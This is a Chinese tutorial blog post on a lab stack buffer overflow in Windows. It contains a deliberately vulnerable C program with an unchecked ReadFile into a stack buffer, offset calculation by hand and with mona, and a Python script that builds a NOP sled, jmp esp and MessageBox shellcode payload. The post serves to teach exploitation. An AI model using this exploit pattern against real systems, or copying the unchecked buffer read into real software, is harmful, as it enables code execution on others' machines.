今天这篇文章主要是对老师视频的一个简单的总结。按照惯例,我们先从代码来进行分析。
如果对你有一丢丢作用的话,希望各位读者老爷们可以点个赞啦,您的支持将会给我最大的动力啦!(不要脸的我,羞羞)
(PS; ” 2-(3)我遇到的问题 “ 这部分纯属对于自己运行时的小记录,希望可以给遇到同样问题的小可爱们一点小的参考,如果没有遇到问题的话可以略过哦!)
文章目录
1、源代码
首先,甭管看不看的懂,先浏览一遍源代码,越懵逼B代表你你提升的空间越大哦!(哦~ 哈哈哈哈嗝~)
/*
0.这个例子是最简单的溢出,需要关闭GS,关闭DEP,关闭ALSR,关闭safeseh
1.shellcode来自exploit-db.com网站,搜messagebox即可,通用的shellcode都可以试试
2.关键api函数介绍
BOOL ReadFile(
HANDLE hFile, //文件的句柄
LPVOID lpBuffer //用于保存读入数据的一个缓冲区
DWORD nNumberOfBytesToRead, //要读入的字节数
LPDWORD lpNumberOfBytesRead, //指向实际读取字节数的指针
LPOVERLAPPED lpOverlapped
//如文件打开时指定了FILE_FLAG_OVERLAPPED,那么必须,用这个参数引用一个特殊的结构。
//该结构定义了一次异步读取操作。否则,应将这个参数设为NULL
//(暂时不看异步读取,只看基本的话,用NULL就好了)
);
*/
// t1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
char shellcode[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";//类似于调用messagebox
char filename[] = "C://1.txt";//需要读取的文件,在C盘下的1.txt文件
DWORD jmp_esp = 0xE4FF;
void func()
{
char buf[0x100];
DWORD jmpesp = 0xE4FF;
HANDLE hFile;
DWORD filelen, readlen;
//printf("%d%d\n", filelen, readlen);
readlen = 0;
memset(buf, 0, sizeof(buf));
hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
//INVALID_HANDLE_VALUE表示无效的句柄,与NULL的区别:查看链接:https://blog.twofei.com/561/https://blog.twofei.com/561/
{
printf("Open file failed!");
return;
}
filelen = GetFileSize(hFile, NULL);//GetFileSize()获取指定文件的大小
//printf("%d/n", filelen); filelen=354
ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1
//ReadFile()从文件指针指定的位置读取数据
/*最开始,我在1.txt中输入的的字节数为570,但是当运行时发现createFileA运行成功,但是ReadFile返回的错误代码为998(内存访问位置无效)。
百度了很久发现可能是内存分配过小,因此我后来将1.txt文件字节数变为96,发现此时ReadFile读取成功了。
if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
{
int error = GetLastError();//返回998错误
printf("%d\n", error);
}
*/
CloseHandle(hFile);
printf("Text-length:%d\r\n", readlen);//&readlen = 上面的filelen = 345
printf("Text:'%s'\r\n", buf);
}
int main()
{
printf("the code begin!\n");
func();
printf("the code end!\n");
getchar();
if(1<0)
__asm
{
jmp esp
}
return 0;
}
2、前景分析
(1)、原理分析
接下来,我们来看一下运行代码前的一些前景提要。
首先我们来简单讲解一下这个例子的溢出原理。为如下函数:(参数来自于上述源代码的实际调用)
ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1
关于这个函数参数可以先简单理解为:
ReadFile()从文件指针指定的位置读取数据
hFile:文件的句柄,类似于一个文件的指针
buf:存放数据的缓冲区指针
filelen:指的是要读取的字节总数
&readlen:实际读取的字节总数
NULL:这个参数与我们读取文件的方式有关。
由上可分析,正常情况下,指定要读取的字节总数 filelen =实际要读取的字节总数 readlen ,如果实际读取的字节总数 readlen > 存放读取数据的缓冲区 buf,那么 buf 读取时将会发生溢出。
接下来就和超长溢出类似了,通过溢出将 func 函数ret返回地址进行覆盖,那么接下来你可以做的事情就很多啦!在这篇文章主要讲的是关于溢出定址 的步骤,利用的话我抽空再补上吧!
(2)、知识拓展:CreateFileA()、ReadFile()、GetFileSize()
CreateFileA() 函数:打开一个文件,并返回文件的句柄。
函数原型:
HANDLE CreateFile(
LPCTSTR lpFileName, //指向文件名的指针
DWORD dwDesiredAccess, //访问模式(写/读)
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针
DWORD dwCreationDisposition, //如何创建
DWORD dwFlagsAndAttributes, //文件属性
HANDLE hTemplateFile //用于复制文件句柄
);
参考链接:https://www.cnblogs.com/endeavour/archive/2011/12/08/2280388.html
ReadFile() 函数:从文件指针指定的位置读取数据。
函数原型:
BOOL ReadFile(
HANDLE hFile, // handle to file
LPVOID lpBuffer, // data buffer
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // number of bytes read
LPOVERLAPPED lpOverlapped // overlapped buffer
);
参考链接:https://blog.youkuaiyun.com/pql925/article/details/69803744?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158726082719725256764794%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.57646%2522%257D&request_id=158726082719725256764794&biz_id=0&utm_source=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v25-1
GetFileSize():获取指定文件的大小。
该函数用于获取指定文件的大小(长度),获取的大小限制在 0xFFFFFFFF 以内。
若要获取长度超过 0xFFFFFFFF 的文件大小,请使用 GetFileSizeEx 函数。
DWORD GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
参数
hFile
待获取大小的文件句柄,该文件句柄必须具有 GENERIC_READ 或 GENERIC_WRITE 访问权限。
lpFileSizeHigh
指向一个 DWORD 变量的指针,该变量用于接收文件大小高端(第32-63位)部分的值。若不需获取这部分的值,该参数可以为 NULL 。
参考链接:
https://blog.youkuaiyun.com/yes258/article/details/8051197?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158726037619724843333660%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.57646%2522%257D&request_id=158726037619724843333660&biz_id=0&utm_source=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v25-1
(3)、我遇到的问题
A、CreateFileA()运行成功,ReadFile()读取错误998
通过在程序中下断点单步调试,我发现我的CreateFileA()运行成功,ReadFile()读取失败(表现:实际读取的字节为0,查看栈空间,发现栈空间中也没有数据)。
百度后,发现可以通过GetLastError() 获取错误代码,因此,将如下代码插入到 CloseHandle(hFile); 之前,查看返回的错误错误代码。
if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
{
int error = GetLastError();//返回998错误
printf("%d\n", error);
}
在这里我返回的错误代码为 998——内存访问位置无效,然后开始了之后的百度征程,发现错误的原因真的是,,,额,好吧我看不太懂。在这里的错误原因是内存分配过小(此时1.txt中含有 570个字节),建议将空间变大,额,我直接将 要读取的文件 1.txt的字节改为了 96 个,运行,结果出来了。哈哈哈哈。
B、调用对象正在运行时不可用
这个问题我实在单步调试的时候发现运行到后面便会出现这句话,然后内存空间变查看不到了。
解决办法:设置合适的断点。因为程序都运行完了,空间也全都释放了,你还想看啥呢?
3、程序运行
(1)、手工计算
在这里,我加载的文件 1.txt 是含有323个字节的。
单步调试文件。
在main()函数调用 func 函数时下断点,记录 func() 函数调用前栈中的情况。如下,我们可以发现 ESP = 0x0019FF24。
溢出需覆盖位置:
我们需要覆盖的地址为函数 func结束后最后一句 ret 的返回地址,而ret 等价于 pop eip ; jmp eip。(pop eip时,esp+4)执行完ret后 ESP回到函数运行前的值 ESP = 0x19FF24,由此可以推测,执行 ret前的 esp = 0x0019FF20,即 ret 返回地址 eip所在的栈空间为0x0019FF20。
因此需要 覆盖地址前需要填充的字符有 = | buf首地址 - 0x0019FF20 | 。
找寻buf首地址
如下对 ReadFile()函数进行反汇编我们可以知道执行完 lea eax, [buf] 后 eax的值 = 0x0019FE1C,即为 buf 的首地址 = 0x0019FE1C。
因此我们便可以知道
填充的字符长度为 = buf首地址 - ret返回地址 = | 0x0019FE1C - 0x0019FF20 | = 0x104
(2)、immunity中的mona
环境:Immunity安装:https://www.twblogs.net/a/5b8cf9772b7177188338055c/zh-cn
mona的整个文件夹可以放到 PyCommands 文件夹中。文件路径类似于下方:
Immunity Inc --> Immunity Debugger --> PyCommands
命令如下:
#查看mona的所有指令
!mona
#首先生成一段长度为 400 的 乱序字符
!mona pc 400
# 将序列字符复制到 1.txt文件中
# 查看执行完 func 函数时 eip中的字符,并用如下指令计算与原字符串的偏移量260
!mona po 6Ai7
如下图,我们可以观察到再插入乱序字符序列后,ret返回时的EIP中的地址为 0x37694136,即字符串为 6Ai7。(PS:在 6Ai7 附近的内存空间我们发现了一个奇怪的空间 ?.. (来自于ESI的值),关于这个的探讨请查看附录 2 )
在mona中查看偏移量。如图为260。与方法一的手工计算是一样的。
exp代码
#生成上面代码加载的文件 1.txt
file_name = "1.txt"
#弹出messagebox() 函数的shellcode
shellcode = ""
shellcode += "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
shellcode += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
shellcode += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
shellcode += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
shellcode += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
shellcode += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
shellcode += "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
shellcode += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
#构造payload
nops = "\x90"*264;
#jmp esp Address=004119f0
# 利用 immunity 加载上面运行的 t1.exe 可执行文件,
#然后输入命令 !mona jmp -r esp 查找jmp esp 在文件中的地址填写到如下的 jmp中
jmp = "\xf0\x19\x41\x00";
payload = nops + jmp +shellcode ;
#将payload 写入 1.txt 文件中去
poc_file = open(file_name,"w")
poc_file.write(payload)
poc_file.close()
附录2:
在此我们探讨一下在ret返回地址附近出现的奇怪序列(?……),如下:
经过不断的单步调试文件发现问题出现在 ReadFile()函数执行后,因此我们重点 单步执行一直 ReadFile() 函数。
如下,为 ReadFile() 函数执行前寄存器的值。我们发现 ESI 中的值 = 奇怪序列(?……)
查看 ReadFile() 函数的反汇编代码。观察 ESI,我们发现 ESI 的值 = filelen 的值(要读取的字节数)
运行完 ReadFile() 函数后,查看栈空间,和此时寄存器的值。
我们可以发现寄存器中 ESP的值没变,即堆栈自动平衡了(Winapi函数自动平衡堆栈)。
并且从栈空间发现执行完 ReadFile() 函数后,其他地址均发生了溢出覆盖,唯独这个地址没有。那这个地址有什么特殊的吗?
查看寄存器发现这个地址为 0x0019FF1C 再观察上述的寄存器发现这个地址竟然超过了 ESP 的地址,那么就肯定是系统在调用 readfile() 函数时将 ESI push进栈。
单步调试 ReadFile() 函数,进入call 调用。
查看步骤。发现是在执行如下步骤时,内存空间发现改变的。此步骤后面是 ReadFile() 函数平衡堆栈的一系列操作,因此我个人觉得这个也是属于平衡堆栈的语句。(PS:这个我真的不清楚,百度了很久都没有找到,还希望懂得大佬可以解答一下,小生感恩不尽!>_< 。(在后面我附上了这个代码前后的大部分代码,还请大佬过目,谢谢!) )
ReadFile() 函数反汇编的所有代码:
76011C70 mov edi,edi
76011C72 push ebp
76011C73 mov ebp,esp
76011C75 push 0FFFFFFFEh
76011C77 push 760D2760h
76011C7C push 76050200h
76011C81 mov eax,dword ptr fs:[00000000h]
76011C87 push eax
76011C88 sub esp,18h
76011C8B push ebx
76011C8C push esi
76011C8D push edi
76011C8E mov eax,dword ptr ds:[760E5B00h]
76011C93 xor dword ptr [ebp-8],eax
76011C96 xor eax,ebp
76011C98 push eax
76011C99 lea eax,[ebp-10h]
76011C9C mov dword ptr fs:[00000000h],eax
76011CA2 mov dword ptr [ebp-18h],esp
76011CA5 mov dword ptr [ebp-20h],0
76011CAC mov dword ptr [ebp-1Ch],0
76011CB3 mov esi,dword ptr [ebp+14h]
76011CB6 test esi,esi
76011CB8 je 76011CC0
76011CBA mov dword ptr [esi],0
76011CC0 mov ebx,dword ptr [ebp+8]
76011CC3 cmp ebx,0FFFFFFF4h
76011CC6 jae 7605BE22
76011CCC mov edi,dword ptr [ebp+18h]
76011CCF test edi,edi
76011CD1 je 76011D41
76011CD3 mov dword ptr [edi],103h
76011CD9 mov eax,dword ptr [edi+8]
76011CDC mov dword ptr [ebp-28h],eax
76011CDF mov eax,dword ptr [edi+0Ch]
76011CE2 mov dword ptr [ebp-24h],eax
76011CE5 mov eax,dword ptr [edi+10h]
76011CE8 test al,1
76011CEA jne 7605BE65
76011CF0 mov ecx,edi
76011CF2 push 0
76011CF4 lea edx,[ebp-28h]
76011CF7 push edx
76011CF8 push dword ptr [ebp+10h]
76011CFB push dword ptr [ebp+0Ch]
76011CFE push edi
76011CFF push ecx
76011D00 push 0
76011D02 push eax
76011D03 push ebx
76011D04 call dword ptr ds:[760E951Ch]
76011D0A test eax,eax
76011D0C js 76011D19
76011D0E cmp eax,103h
76011D13 jne 76011DBB
76011D19 cmp eax,0C0000011h
76011D1E je 76011E02
76011D24 mov ecx,eax
76011D26 call 76011E20
76011D2B xor eax,eax
76011D2D mov ecx,dword ptr [ebp-10h]
76011D30 mov dword ptr fs:[0],ecx
76011D37 pop ecx
76011D38 pop edi
76011D39 pop esi
76011D3A pop ebx
76011D3B mov esp,ebp
76011D3D pop ebp
76011D3E ret 14h